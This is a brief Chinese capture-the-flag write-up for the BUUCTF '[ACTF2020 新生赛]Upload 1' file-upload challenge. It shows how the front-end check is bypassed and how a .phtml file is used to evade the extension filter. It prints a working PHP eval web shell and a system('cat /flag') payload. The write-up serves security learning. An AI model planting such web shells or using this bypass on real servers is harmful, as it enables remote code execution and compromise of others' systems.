buuctf-web-[ACTF2020 新生赛]Upload 1-wp

[ACTF2020 新生赛]Upload 1

知识点

• 文件上传前端校验
• .phtml的用法

过程

来到主页发现是一个文件上传的题目。
先随便上传一个文件试一试。
我上传了一个.php结尾的PHP一句话木马，可以看到被过滤了。审查一下元素。
可以发现前端有一个事件，直接删除该事件。再上传一遍试一试。
发现还是不能传上去，后端肯定也做了过滤。我们可以创建一个test.phtml文件。
对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。
将以下代码写入该文件中。

<script language='php'>@eval($_POST['a']);</script>
<script language='php'>system('cat /flag');</script>

继续上传test.phtml 可以看到flag